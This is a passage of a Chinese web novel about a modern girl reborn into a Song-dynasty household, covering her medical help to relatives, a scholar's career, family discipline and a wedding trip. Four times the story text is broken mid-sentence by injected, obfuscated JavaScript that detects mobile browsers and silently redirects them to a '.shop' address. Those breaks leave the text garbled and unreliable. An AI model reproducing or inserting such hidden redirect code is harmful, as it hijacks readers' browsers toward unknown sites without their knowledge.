曹氏喘息着打量晚书:“好孩子,难为你来看我。”说着突然咳嗽起来。
晚书忙上前为她抚背,这才发现,曹氏的后背是佝偻着的。
“姑母这病,可是午后发热,夜间盗汗,遇阴雨天便加重?”
曹氏连连点头。
晚书转身对安亭蕴道:“这是骨痿之症,古称龟背佝偻。”
安亭蕴不懂医理,但听她说得在理,忙问:“可能治么?”
“需得从补益肝肾,强筋壮骨入手。具体方剂,我还需查证典籍。”
当夜,晚书一回府便扎进书房。终于在《岐黄精要》中寻到些线索,又翻出《千金方》、《外台秘要》,相互参详。
一大早,她亲自赶往安家。
安亭蕴正服侍他母亲用药,见她又来,连忙迎出。
晚书将方子递上,又细细嘱咐:“这药须文火慢煎三个时辰。服药期间忌食生冷,每日午间扶姑母在院里晒太阳,还得每日揉按腰背穴位。”
曹氏被她感动,叹道:“不想我病到这个地步,还能得晚辈如此尽心。”
晚书鼻子一酸,强笑道:“姑母说哪里话。您好生将养,等表哥当了大官,您还要享诰命夫人的福呢。”
安亭蕴送晚书至门外,深深一揖:“妹妹大恩,亭蕴没齿难忘。”
晚书忙避开:“表哥这是做什么?一家人原该互相扶持。”
安亭蕴轻轻叹了一声。
曹晚书疑惑问:“表哥为何事发愁?”
安亭蕴默然片刻,道:“不瞒妹妹,这些年为母亲治病,家里田产铺面已变卖大半。此次赴京,已是破釜沉舟。”
晚书这才知他境况。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202122|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原以为安家虽非显贵,总该是小康之家,不想艰难至此。
“表哥如今入了翰林,总有俸禄可依罢。”
安亭蕴苦笑道:“翰林院应酬繁多,前日同年邀我去赴诗社,单是入门帖便要五两。”
晚书想了想:“倒也是。表哥如今是官身,四季官服、拜帖门敬,一样也省不得。”
她说着说着,忽然灵机一动:“表哥可善书法?”
“尚可。”
“我听说琉璃厂一带,常有店家求名人题匾。表哥是天子门生,新科进士,若肯挥毫,一幅字少说也能得十两润笔。还有,国子监附近多有富家子弟求人代写文章,表哥文采斐然,没准儿还能多赚几个呢。”
谁料安亭蕴正色道:“代写文章有违圣贤教诲,此非君子所为。”
晚书心里默默吐槽了他一番:真是迂腐。这一不偷二不抢,凭笔墨功夫换些药资,倒成了违背圣训?可见这圣贤书读死了,反不如市井妇人懂得变通。
她到底没有把这些话说出,只道:“那我回去再与母亲说,将我家京郊一处小田庄借与表哥家打理,收成对半分行否?总好过荒着。”
她这番安排倒周全,既全了读书人的体面,又解了燃眉之急。
安亭蕴眼眶发热,道:“不必了。这般劳烦府上,我心何安呢。”
“亲戚间原该守望相助。还有你那些诗社文会不必次次都去,择一二清贵的参与便是,还能省些银子。”
她的话,安亭蕴听进去了。
不过曹家的那处田庄他没要,只接些笔墨营生,日子宽裕许多。
可喜的是,曹氏服药半月,晌午晒太阳,已能靠坐片刻。月余时,在搀扶下,也能缓行数步。
这日,安亭蕴照常往翰林院听讲。
新科进士们多在假期中四处宴饮,唯他每日必到,风雨无阻。
课毕,众人散去。
他独坐窗下,将今日所讲与曹晚书对她说过的话一结合,才恍然大悟:“史书中的治乱兴衰,与一家之收支盈缺,道理原是相通的。”
凝神间,身后有人道:“安进士好勤勉。”
回头一看,是翰林学士□□。
这位苏学士以博学耿直著称,寻常进士难得见他一面。
安亭蕴忙起身行礼。
□□摆摆手,踱至案前,见他纸上密密麻麻记的不仅有史论,还有米价田租等数,不由奇道:“安进士这是在算经济账?”
安亭蕴赧然:“让学士见笑。学生家贫,不得不算计这些俗务。”
□□拈须微笑:“《大学》有云:‘生财有大道,生之者众,食之者寡,为之者疾,用之者舒,则财恒足矣。’这理财之事,何俗之有?倒是那些只知吟风弄月,不问稼穑的,才是真俗。”
说罢,在他对面坐下,与他论起古今赋税之制来。
从唐代租庸调,讲到本朝一条鞭法,又说到地方胥吏中饱私囊的种种手段。
安亭蕴说了很多,引得□□抚掌称赞。
“怪道这几日不见你赴宴,原来在此处琢磨真学问。那些个琼林宴、曲江会,倒少了你这枝锦绣笔。”
11. 风雨同途 枯荷雨溅离魂泪
亭蕴忙搁下狼毫起身,拱手道:“苏大人取笑了。下官不过效仿古人三更灯火五更鸡之意,怎比得诸位同年白日放歌须纵酒的雅兴。”
□□走过去问:“在这里瞧见你好几次了,怎么不跟他们一起去参加新科进士聚会呢?
安亭蕴回道:“参加过几场,是我家境贫寒,拿不出多余的钱再去参加聚会。”
“官家不是赐给你三千贯铜钱,供你们聚会专用吗?况且,你不跟他们打好关系,日后的仕途是很难走的。”
安亭蕴扯了扯嘴角笑笑,又道:“交游贵在神契,岂在觥筹。桓次公有云,‘林中多疾风,富贵多谊容’,下官愿作深根之木。”
□□觉得此话有些道理,他当年也是散尽家财去参加聚会和那些人打好关系,可是又有什么用呢?
朝堂上该给你使绊子的还是会使绊子,对你好的人不论如何,都会对你好。
□□哈哈大笑了两声,拍了拍安亭蕴的肩膀,说道:“好,那你就继续丰满羽翼吧。”
□□刚迈出门槛,忽然间又停住,好像是想到了什么,又折返回来,对他说:“对了,我家的金缠腰开花了,开的那叫一个艳。相传此花一开,便有人要做宰相,也不知真假。
此花一连开了三朵,我和韩公关系近,便邀请了他来参加花宴,剩下一个,实在是找不到好的人选。今日你说的那番话,算是说到我心坎里去了。不如,明日来我府上,也沾沾这个喜气如何?”
安亭蕴倒是听说过这个典故,相传是韩魏公任扬州太守时,此花忽开四枝,后果然四位赏花人皆入中枢。
他连忙谢道:“感激不尽,明日一定准时赴宴。”
□□倒是对他起了一些兴致,干脆坐下来,跟他好好聊聊。
“如果,我是说如果有一天,你真的拜相了,你会如何?”他试探道。
安亭蕴想了想,微笑道:“唯以赤心奉君,以公心治世,不负陛下知遇,不负天下生民。”
□□听后,眸光一亮,又道:“你方才说深根之木。老夫倒想听听,这木要深到何等程度,才禁得起宦海风波?”
安亭蕴缓声道:“下官幼时,听乡里老人说过一个故事。曾有一棵柳树,历三次河决而不倒,只因根须探入地下十余丈,遇浊流则蓄力,逢旱季则深潜。我想,为官者若似此柳,根系当扎在黎庶田畴之间,而非朱门酒宴之中。”
□□听罢,回想起自己当年初入翰林的时候,一时怔住。
窗外有雀儿啁啾掠过,他才倏然回神,又问道:“若有一日,你须在深根与高枝间抉择,当如何?”
安亭蕴笑了笑,侧过头看着院里,抬手虚指着一颗梅树:“大人请看此树。开花时众人争赏,零落后谁复垂怜?可它依旧岁岁萌蘖,不因宠辱易其节。”
□□指着他道:“你可知,今日这番话若传出去,多少人要笑你痴?”
不等安亭蕴回答,他自己先摇了摇头:“可官场里,缺的正是这等痴人。”
二人又谈论了一会儿,□□心内越发欢喜,笑道:“罢了,不扰你理事了。明日巳时,我府中静候。”说罢,拂袖离去。
且说曹家这边。
曹晚书一进院,沿着一条青灰的石砖路一直往前走,穿过暗红色的扇门,便来到了正厅。
曹老太太坐在上首的紫檀椅上,手里不停转动着佛珠。
下首坐着的是宋夫人王夫人,和几个哥哥姐姐们。
曹晚书见过长辈们,便来到宋夫人身边坐下,听他们商议事情。
“你们的大姐姐,已经定了永定候府的顾小侯爷,打算在腊月十五成亲。舆哥儿也已经行军打仗去了。等大姐儿的婚事办完,就该为辕哥儿、轸哥儿、轴哥儿寻一门好亲事。
玉书、晚书、兰书也都大了,该有自己的一个院子,学着理事。轼哥儿如今还小,应以学业为重。你们几个,都是咱们曹家的子孙。
要知道,一个家族纵使有开天辟地的祖先,如果没有能够中兴的子孙,没有可以维继的产业,终会没落。咱们家此时眼看着正在走向末路,以后能不能振兴家业,可就靠你们这辈人了。”
曹老太太说完,接过刘妈妈递过来的茶水喝了几口,润润嗓子。
曹辕道:“祖母放心,爹爹已经为我们请来了吕先生讲课。等到三年后的春闱,孙儿一定会竭尽全力金榜题名,为祖宗争光。”
“好,只要你们有出息,我也就放心了。”曹老太太放下茶碗,又对着王夫人接着说,“如今轸哥儿轴哥儿也大了,赶紧给他们找个明理懂事的媳妇,好好约束一下,别一天到晚的往勾栏瓦舍里跑。”
王夫人深深叹了口气,皱着眉头,一副很为难的样子,说道:“老太太,我何尝不想给他们哥俩找一个好媳妇,可是他们俩的名声在外头都臭了,谁家正经姑娘愿意嫁过来呀。
官人走的早,撇下我们娘几个,实在是男孩大了管不住。还得请老太太您,有什么好姑娘多替他哥俩儿留意着些。”
曹轸曹轴兄弟俩,低着头不敢说话,也不敢和曹老太太对视,一下子蔫了似的。
“唉,自明日起,轸哥儿轴哥儿不许再外出,跟着辕哥儿轼哥儿一起去书院读两年书去吧,好好改改你们这个性子。”
人散后,曹晚书深吸了一口气,粉嘟嘟的小脸上,露出一股淡淡的忧愁来。
果子跟在她身后,有些想不通,为什么姑娘的眉头总是微微皱起,为什么姑娘总是一阵阵的叹气。
曹晚书趴在栏杆上,呆呆地看了许久,忽然回头问:“果子,微湖的荷花应该开了吧?”
果子忙答道:“开了,我昨儿去给夫人送东西,路过微湖正好瞧见的。”
“走,咱们游湖去。”
今年满湖的荷花开得依旧艳,荷叶有的浮在水面上,有的高高立着,卷着卷儿,衬的荷花愈发的亭亭玉立。
曹晚书拉着果子上了小船,她手中的船浆在湖水里拨开,泛起一阵阵水花。
果子顺手摘下一个莲蓬,剥开皮,将莲子放在嘴里尝了尝,一股清甜在口中蔓延开来,她满意的点点头,忍不住又剥了几个,放在曹晚书嘴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202123|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里。
“姑娘快尝尝,可甜了。”
不一会儿,小船上就堆起了莲蓬小山。果子吃的心满意足,又摘下两片荷叶,一片盖在自己头顶,一片盖在曹晚书头顶,还咯咯笑道:“这下可晒不着了。”
小舟不知不觉漂到一片水域。
晚书索性放了桨,任船儿随风荡漾。
不远处有几枝残荷,枯叶低垂,与周遭的鲜妍恰成对照。
她凝神看了许久,枯荷虽然没有盛放时的灼灼之姿,却另有一种经风霜后的沉静之美。
一茎残叶半卷,在潋滟波光里显得格外孤清,不争不喧,自成一境。
又听得“扑棱棱”一阵响,船惊起了芦苇丛中几只苍鹭。
苍鹭白羽掠水,长颈舒展,转瞬没入天际烟霞之中。
此情此景,倒让她想起易安居士那句“争渡,争渡,惊起一滩鸥鹭”。
天色渐渐向晚,空中飘起绵绵细雨。
晚书与果子撑起油纸伞,并肩坐着看雨滴落在湖面,漾开万千波纹。
后方忽有人唤:“五姑娘,天色不早了,该回府了!”
回头一看,有一艘画舫,不知何时悄悄跟在后头。
晚书讶然:“他们几时来的?”
果子抿嘴笑道:“早跟着了,怕扰了姑娘雅兴,一直远远缀着。”
怪不得,不过也好,她原本还害怕不知道回去的路呢,这下心里也踏实了。
自此之后,曹晚书便常来这里。
有时独自撑船,有时凭栏静望,一坐便是半日。
一日,天才微微透亮。
晚书忽从梦中惊醒,额上冷汗涔涔。
她梦见了自己的爸妈,又梦见书里曹府被抄家后的惨状。
朱门贴了封条,园中荒草萋萋,姊妹们哭哭啼啼被官媒拉走。
窗外细雨淅沥,她赤着脚跳下床,胡乱趿了绣鞋便往外跑。
果子被她惊醒,见她只穿着单薄中衣,慌忙抱起外裳追出去。
晚书一路奔至微湖,一下子扑在石栏上,泪水夺眶而出。
待果子赶到,她已瘫坐在小木桥边,浑身湿透,脸上也分不清是雨是泪。
果子忙将衣裳给她披上,急道:“姑娘这是怎么了?快回去罢,仔细着凉。”
晚书仰起脸,任雨水打在面上。
她本不属于这里。
那个有汽车高楼的二十一世纪,才是她的故土。
而此处,处处是桎梏,步步要小心,稍有不慎便是万劫不复。
“果子,”她忽然抱住丫鬟,将脸埋在她肩头,呜咽道,“我想家了,我想回家。”
果子茫然拍着她的背:“这儿就是姑娘的家啊。”
晚书摇头,泪落得更急。
她的乡愁,这世间无人能懂。
良久,她止了泪,挽住果子的手站起身。
雨不知何时停了,乌云渐渐散去,太阳高高升起。
她望着天上的微光,轻轻道:“咱们回去罢。从今往后,我要好好活着。”
12. 释前嫌慈母惜娇儿
这日,曹老太太把几位姑娘叫到上房,命人搬了绣墩,围坐在跟前,听她们念《女论语》。
待念完了,曹老太太点点头,道:“回去各自抄写一遍,仔细记在心里。明儿一早我查功课,可别怨我不讲情面。”
曹晚书对书里这些糟粕实在是不满,起身道:“祖母,孙女有句话不知当讲不当讲。这书里有些话,依孙女看,实是糟粕。理当取其精华,去其糟粕才对。”
曹老太太本已扶了刘妈妈的手预备起身,闻言又坐下,看了她一眼,道:“你倒说说,哪些是糟粕,哪些是精华?”
“譬如‘夫若发怒,不可生嗔。退身相让,忍气低声’。这便是糟粕。凭甚么男人发火,咱们女人就得忍气吞声?他错了也要让,他对了也要让,这样让一辈子,让到什么时候是个头?”
曹老太太道:“你再看底下那句。‘莫学泼妇,斗闹频频’。若夫妻二人为争谁有理,日日吵嚷,生了嫌隙,少不得妻妾纷争,家宅不宁。到那时,吃亏的又是谁?”
曹晚书抿了抿嘴唇,半晌道:“祖母的意思是,但凡男人错了,咱们也只得为了家宅太平,一味忍着让着。这样活着,岂不憋屈。”
曹老太太怔了一怔:“怪不得人说女子无才便是德。你读了书,倒读出这些念头来了。”
“孙女妄揣,这话必是男人编的。他们怕女子读了书便有了见识,有了见识便不肯俯首帖耳,由着人摆布。”
曹老太太的脸白了。
她看着这个孙女,不过十三四岁的年纪,眉目还带着稚气,说话却这样锋利。
这丫头心性太高,口角太利,将来出了门子,婆婆跟前、妯娌之间、丈夫面前,她能这样说话么?怕是不出三日就要被休回娘家。
老太太想到这里,心里又急又疼。如今若不叫她吃些教训,往后只怕还有大苦头。
她沉着脸,重重拍了一记案几,厉声道:“把戒尺拿来!”
刘妈妈从后头匣子里取了一柄乌木戒尺,双手递上。
曹晚书跪在地上,把手心朝上伸出去。第一板子落下,掌心登时红了一道。
她咬着唇,把手往后缩,又被老太太拉回来。一连五六下,掌心肿得老高。
老太太把戒尺往案上一搁,道:“今儿夜里你到祠堂跪着,把《女论语》抄了,再把《女戒》一并抄了。明儿我第一个考你。抄不完不许起来,不许人替。都下去罢。”
众人诺诺散了。
果子跟在曹晚书后头,出了上房,看着姑娘那只红肿的手,把帕子递过去,低声道:“姑娘,先凉一凉罢。”
曹晚书摇了摇头,把手收进袖子里,没说话。
入夜,祠堂里只点了两支烛。风从门缝钻进来,烛火摇了又摇,在神主牌位上投下忽长忽短的影子。
曹晚书跪在蒲团上,手心肿得捏不住笔,一握就疼,她便放慢了写,写几个字歇一歇。
果子在一旁磨墨,小声道:“姑娘何苦跟老太太争这个。书上写的,不都是寻常理儿么?奴婢听刘妈妈说,像魏国长公主,那可是天下女子的榜样,三从四德,没一处不好的。公主那样的尊贵,尚且如此,咱们又算什么。”
曹晚书一面写着,一面说道:“驸马辜负了她,在外头养外室、生孩子。官家怪罪驸马,公主还替他求情,把外室母子接进府里养活。人人都夸她贤惠、温良、大度,可是,公主当真欢喜么?”
果子张了张嘴,答不上来。
她没读过书,不认得几个字,可她也知道,自己将来的男人若在外头有了人,还要接回家一处过日子,她大约是不能的。
那样的事,光是想想,心里就堵得慌。
曹晚书没再说话,低头继续抄。
第二日一早,姐妹们又聚在上房。曹晚书跪了一夜,膝盖青紫,走路都有些跛。
曹老太太看在眼里,没说什么,只叫众人都坐下。
刘妈妈给她搬了绣墩,她谢了坐,挨着半边坐下。
“五丫头,说说,如何侍奉公婆?”
曹晚书垂着眼,像背书一般:“姑坐则立,使令便去。早起开门,莫令惊忤。洒扫庭除,内外整洁…”
“咆哮尊长,说辛道苦,呼唤不来,饥寒不顾。如此之人,号为恶妇。天地不容,雷霆震怒…”
曹老太太忽然叹了一声。
她招手把晚书拉到身边,掀起了她的裙角。膝盖青里泛紫,老太太伸手摸了摸,满是心疼。
“祖母打你,罚你,是怕你日后吃亏。你这心性,这口齿,到了婆家,凡事不肯低头的,婆婆妯娌如何容你?世人那张嘴,轻了说你一句‘悍妇’、‘妒妇’,男人厌了,冷着你,搁着你,外头再寻别人;重了休回娘家,到那时,天地虽大,哪里是你的安身处?”
曹晚书静了一静,慢慢道:“孙女想通了,只是孙女心里并不服。凭甚么男人可以发脾气,三妻四妾,咱们就得三从四德,太不公了。”
曹老太太道:“我年轻那会儿,也有过这念头。只是出了阁,生了孩子,一大家子人指着你,由不得你不低头。罢了,怪只怪咱们生在这个年月。”
曹晚书没再说话,靠在老太太怀里。老太太轻轻拍着她,像拍个孩子。
她心里再不服气,也不敢说什么了,生怕再去跪一夜祠堂。
隔了片刻,老太太道:“前儿老家带来信,你们辐大哥哥要成亲了。我老了,这么远的路,懒得动弹。到时叫你母亲带你们姊妹几个去,替我给他道声喜。”
玉书有些意外,道:“辐哥哥都要成亲了?日子过得可真快。”
“你明年及笄,可不快么?”老太太笑道,“四十年弹指一挥,我如今照镜子,已是风烛草露了。”
兰书忙笑道:“祖母精神矍铄,依我看,倒比从前还硬朗些。”
老太太被她逗笑了,指着她道:“你这猴儿,专拿我取笑。”
玉书又问:“新嫂子是哪家的?”
老太太道:“是济州通判薛大人的爱女。听说是个有才情的,琴棋书画样样来得,在家时还帮着她父亲料理过衙门里的账目。辐哥儿那孩子,打小老实,能娶到这样的媳妇,是他的福气。
我老婆子是没眼福见了,你们替我去瞧瞧。见了面,替我道声喜。”
众人又笑谈了一回,老太太显出乏了,刘妈妈便服侍她进里间歇息。姊妹们各自散了,回屋收拾行装。
过了几日,宋夫人带着几位姑娘启程回山东老家。
曹晚书上船时兴致还好,趴在栏杆上看着河水。
谁知不过半日,曹晚书便头晕目眩起来。起初只是有些闷,她没在意,还坐着看了一会儿水。渐渐便觉天旋地转,胃里翻涌。
果子扶她回舱躺下,刚躺下便吐了一回。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202124|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
果子急得满头汗,梅子在一旁打转,把舱里能翻的地方都翻遍了,只找出几块陈皮,又不敢给她乱吃。
两个丫头束手无策,梅子嘴里不住念叨:“姑娘病成这样,夫人那边也没个人过来看看。”
曹晚书昏昏沉沉的,被她俩吵得脑仁疼,摆摆手道:“你们且下去,让我静静躺着。”
果子不肯走,把帘子放下来,搬个小杌子守在舱门口。
梅子赌气出去了,不多时又回来,端了盏温水放下。
挨到夜里,曹晚书还迷糊着,听外头脚步乱响,吵吵嚷嚷的不得安生。
她披衣起身,扶着舱壁往外走。
走到宋夫人舱外,只见里头灯火通明,人影憧憧。
曹晚书扶着门框,往里探了探头。宋夫人守着曹玉书,脸都白了,刘妈妈在边上递帕子、换水,也是忙得脚不沾地。
“母亲,四姐姐怎么了?”
宋夫人原记着上回的事,待她总淡淡的,这时正乱着,更没好气:“你又能帮什么忙。自己还病着呢,出来吹风,回头更重了,我又要分神照看你。”
曹晚书仍旧和气问:“母亲总得告诉我什么事,我才好想主意。”
宋夫人没理她,转身给玉书掖被角。
曹晚书自己慢慢走过去,见玉书蒙着两床厚被,面色潮红,嘴唇干得起皮。她伸手一探额头,火炭似的。
“四姐姐发热了,不能盖这样厚。”曹晚书说着便要去揭被子。
宋夫人一把拦住,怒道:“你要冷死她不成?”
曹晚书道:“发热是要散热的。里头烧着,外头再捂着,热散不出去,越烧越高。”说罢,把上面那层厚被揭了。
宋夫人劈手夺回被子,恨声道:“你一个孩子家,懂什么?万一你四姐姐冻出个好歹来,是你担着还是我担着?”
曹晚书没争辩。
她走到铜盆边,摸了摸里面的水,已是温的了。便唤果子去外头打凉水,自己把玉书额上的帕子取下来,在冷水里浸了,拧到半干,覆了上去。
“我往日发热,都是这样治的。母亲不信我,我也没法子。”
说罢,她扶着果子慢慢走了。
刘妈妈小声道:“夫人,五姑娘说的倒也有几分道理。”
宋夫人低头看着玉书,那张小脸烧得红扑扑的,眉头拧着,嘴唇都干了。
她伸手摸了摸被褥,到底把上面那层揭了。一夜她都没合眼,隔半个时辰便换一次帕子,喂一回水。
到天亮时,曹玉书悠悠醒来,出了一身透汗,烧全退了。
早饭时,宋夫人把一碟子细巧点心挪到晚书面前,又亲手给她布了一箸春不老,道:“五丫头,头还晕不晕?”
曹晚书道:“睡了一夜,比昨日好多了。多谢母亲惦记。”
宋夫人讪讪地笑了笑,低头喝粥,半晌又道:“昨儿夜里我也是急糊涂了,说话没轻重,你别往心里去。”
曹晚书放下筷子,笑道:“母亲是心疼四姐姐,我明白的。咱们都是为了四姐姐好,我从不曾怪过母亲。换了是我病着,母亲也一样照看。”
宋夫人怔了一下,慢慢点点头。她把那碟子点心又往晚书跟前推了推,道:“好孩子,多吃些。还有三四日的船,不吃东西身子撑不住。”
曹晚书应了,夹了一块枣泥酥,慢慢吃着。
13. 老色鬼
回到舱里,梅子还在那里闷闷的,嘴撅得能挂油瓶,手里擦着桌子,抹布东一下西一下,像跟桌子有仇似的。
曹晚书歪在榻上,觑着她笑道:“这是谁欠了你银子不成?桌子都要被你擦脱一层皮了。”
梅子停下手,把抹布往盆里一扔,回过身来,怨道:“姑娘自上了船就身子不爽,夫人那边又不是不知道,也不来瞧一眼。夜里四姑娘发热,姑娘好心过去帮忙,倒叫夫人劈头骂了一顿。今早发现姑娘说得在理,这才赶着来嘘寒问暖,早做什么去了?打量人是傻子呢。”
曹晚书把枕头挪了挪,仰面躺着,望着舱顶。
她看了会子,慢悠悠道:“宋夫人做到那份上,已经很不易了。我原不是她生的,她肯拿我当女儿待,我也肯拿她当母亲敬。这就够了。”
“因着大姐姐那件事,母亲心里存了芥蒂,我是知道的。她不是那等阴毒人,只是脾气来得快,嘴上不饶人。昨夜那样说我,是气头上,不是成心的。今早能当着人面赔不是,这已十分难得。若是换了那等面上一套心里一套的,岂不更叫人寒心?”
梅子想了想,倒也是这个理。
幸亏府里老太太坐镇,太太又不是歹毒心肠,姑娘又会处事,这才能在府里过得安稳。
她遂不再抱怨,回头收拾茶盏,瞧见曹晚书不知何时又翻过身,趴在枕上翻看账册。
船行又两日,这一日午后,终于泊了岸。
孙夫人派了人在码头候着,一乘青帷小轿,几辆骡车,把宋夫人并几位姑娘接进府去。
曹晚书掀帘往外看,门楣上悬着“曹宅”二字匾额,门前栽着两株槐树。
进了二门,孙夫人迎出来,身后跟着二儿一女。
大儿曹辐二十出头,生得敦厚。旁边站着的是曹轮,十八九岁模样。再往后躲着个小姑娘,不过十几岁,揪着孙夫人的衣角,探出半边脸来瞧人。
孙夫人笑道:“这是你们辐大哥哥,这是轮二哥。”她又把身后小姑娘拉出来,“这是姝书,比晚书小几个月。姝丫头,还不叫姐姐?”
曹姝书低着头,蚊子似的哼了一声,便不肯再开口。
孙夫人嗔道:“这孩子,平日在家里话多得很,见了人倒成了锯嘴葫芦。”说着便命曹姝书带几位姐姐往后园子去玩耍。
在前厅时,看这姝书姑娘有些怯懦,本以为是个不爱说话的。
可是一出来,就小嘴叭叭,不停地问:“东京是什么样的?和咱们济州有什么区别吗?”
曹玉书便道:“东京比济州繁华得多,只是东西也贵。譬如一斤猪肉,济州不过一百文上下,京城便要一百五十文,有时还买不着。寻常人家,能隔几日吃回猪肝,已是极体面的了。”
“那京城都有什么好玩的?”她又问。
曹兰书答道:“那当属是大相国寺了,每月会开放五日,开市之日商旅云集,各类物品应有尽有。甚至宫里还会牵出来一些奇珍异兽,有大象、孔雀、驺虞、神羊等等,可热闹了。”
曹姝书听得入神,道:“等金书姐姐成亲,我也要去京城,到大相国寺看大象去。”
说了一回,她又问:“怎么这回金书姐姐没来?”
曹玉书道:“大姐姐婚期近了,忙得脚不沾地,哪里分身得来。”
正说着,见曹辐从前头小径过来,见了这边几位妹妹,脚步顿了一顿,似是想过来招呼,又有些踌躇。
曹兰书眼尖,先笑道:“新郎官来了!”
曹辐登时红了脸,背过身去,讷讷道:“妹妹们休要取笑…妹妹们在这儿玩,我先…先过去了。”说罢低着头,脚不点地般逃了。
姐妹几个看着他那背影,忍不住笑作一团。
曹辐低头走着,心里还突突的,冷不防迎面撞上一人,抬头一看,是自家父亲曹贵。
他忙退后一步,垂手恭立,道:“爹。”
曹贵淡淡扫了他一眼,也不停步,径自往前去了。
曹姝书本在后头跟着几位姐姐,远远望见曹贵往这边来,脸色微微一变,拉着曹晚书的袖子便要往岔路拐。
曹贵瞧见她这举动,在后头嘀咕了一句:“这丫头,瞧见我躲甚么?”
曹兰书悄声道:“姝书,三叔叫你呢。”
姝书这才停下,慢慢回过身,往那边望了一眼。
待曹贵走远了,她方慢慢走到一块大石边坐下,两手托腮,望着天,半晌不言。
曹晚书走到她身旁,挨着坐下,也不问,只陪她看天。
过了好一会儿,曹姝书轻轻道:“我领你们上山捉野鸡去。”
她面上带着笑,但是眼底还有些沉沉的,看起来像强颜欢笑。
过了两日,正日子到了。
天还没亮透,外头便响起炮竹声,一阵阵噼里啪啦。迎亲的队伍回来了,锣鼓喧天,人声鼎沸,满院子都是看热闹的。
曹晚书跟着姐妹们挤在人堆里,踮着脚往堂前张望。
她个头矮,前面的人又高,一会儿踮脚,一会儿蹦几下,只看见一片红彤彤的人影晃动,新郎官新娘子拜堂的模样,却一点儿也瞧不着。
曹轮站在一旁,看她那着急忙慌的样子,忍不住笑道:“五丫头,实在不行搬个杌凳来,站在上头看。”
曹晚书扭头瞪他:“轮二哥,你是笑话我矮么?”
曹轮笑而不答。
曹晚书自己也撑不住笑了。矮便矮罢,横竖还小,再过两年,未必不长。
里头礼成,宾客入席。
宋夫人与王大娘子商议,既已吃了喜酒,明日便该启程回京。
不料曹辐过来,拱手道:“伯母,侄儿斗胆相劝,还是暂留几日为妥。近来外头不甚太平,路上恐有闪失。”
宋夫人吃了一惊,道:“难不成是有流寇作乱?”
曹辐叹了口气,道:“连着几年旱涝不均,有的地方赤地千里,颗粒无收。百姓没了活路,只好往山里躲,渐渐地啸聚成群。朝廷不但不加抚恤,反而添了捐税,那些本已揭不开锅的小民,越发雪上加霜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202125|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
王夫人拍着腿,迭声道:“哎哟哟,这可了不得,这可了不得!”
曹轮在旁接口道:“还有一桩,朝廷不抑兼并,那些功臣勋贵,良田万顷还嫌不够,越发圈占。如今是富者田连阡陌,贫者无立锥之地。有力气的人寻不着田种,有田的人又雇不起人耕,这日子如何过得下去。”
孙夫人趁机道:“两位嫂嫂,好歹多住几日。等外头平定些,再走不迟。”
宋夫人在京城住惯了,天子脚下,安稳太平,何曾见过这等阵仗,心里先自慌了,便点头应允。一面又命邹妈妈写家书,打发人连夜送回京城,免得老太太悬心。
堂上大人们说着这些沉重话,姑娘们插不上嘴,便在一旁坐着。
曹晚书陪着姝书翻花绳,玩了好久,困得眼皮都沉了。
姝书忽然低声道:“你们猜,辐大哥哥这会儿在做什么?”
曹晚书抬起眼皮,见姝书眼睛亮晶晶的,藏着狡黠。
没等旁人答话,曹姝书自己便道:“我猜,定是娇妻在怀,红纱帐里度春宵呢!”
几位姑娘登时臊红了脸。
曹玉书啐道:“死丫头!嘴里没个把门的,真真不害臊!”
曹晚书忍着笑,把花绳往姝书手里一塞,道:“仔细叫婶子听见,揭了你的皮。”
曹姝书嘻嘻一笑,也不再说。
谁料这话偏叫曹贵听进了耳朵里。
他坐在厅上待坐了一会儿,起身往外走。
小厮跟上来,他摆摆手,只说:“走走醒酒,不用跟。”
夜已深了,月色如水。
院子门口的红灯笼还亮着,廊下本有值夜的丫鬟婆子,此时也都不知躲哪儿歇乏去了,静悄悄的,不闻人声。
曹贵放轻脚步,贴着墙根慢慢挪到窗下。
他把耳朵贴在门缝边,听里头隐隐有低语声,隔着一道门,听不真切,但被翻红浪,锦帐春深的光景,不言自明。
曹贵听了一会儿,心跳得快起来,手心也潮了。
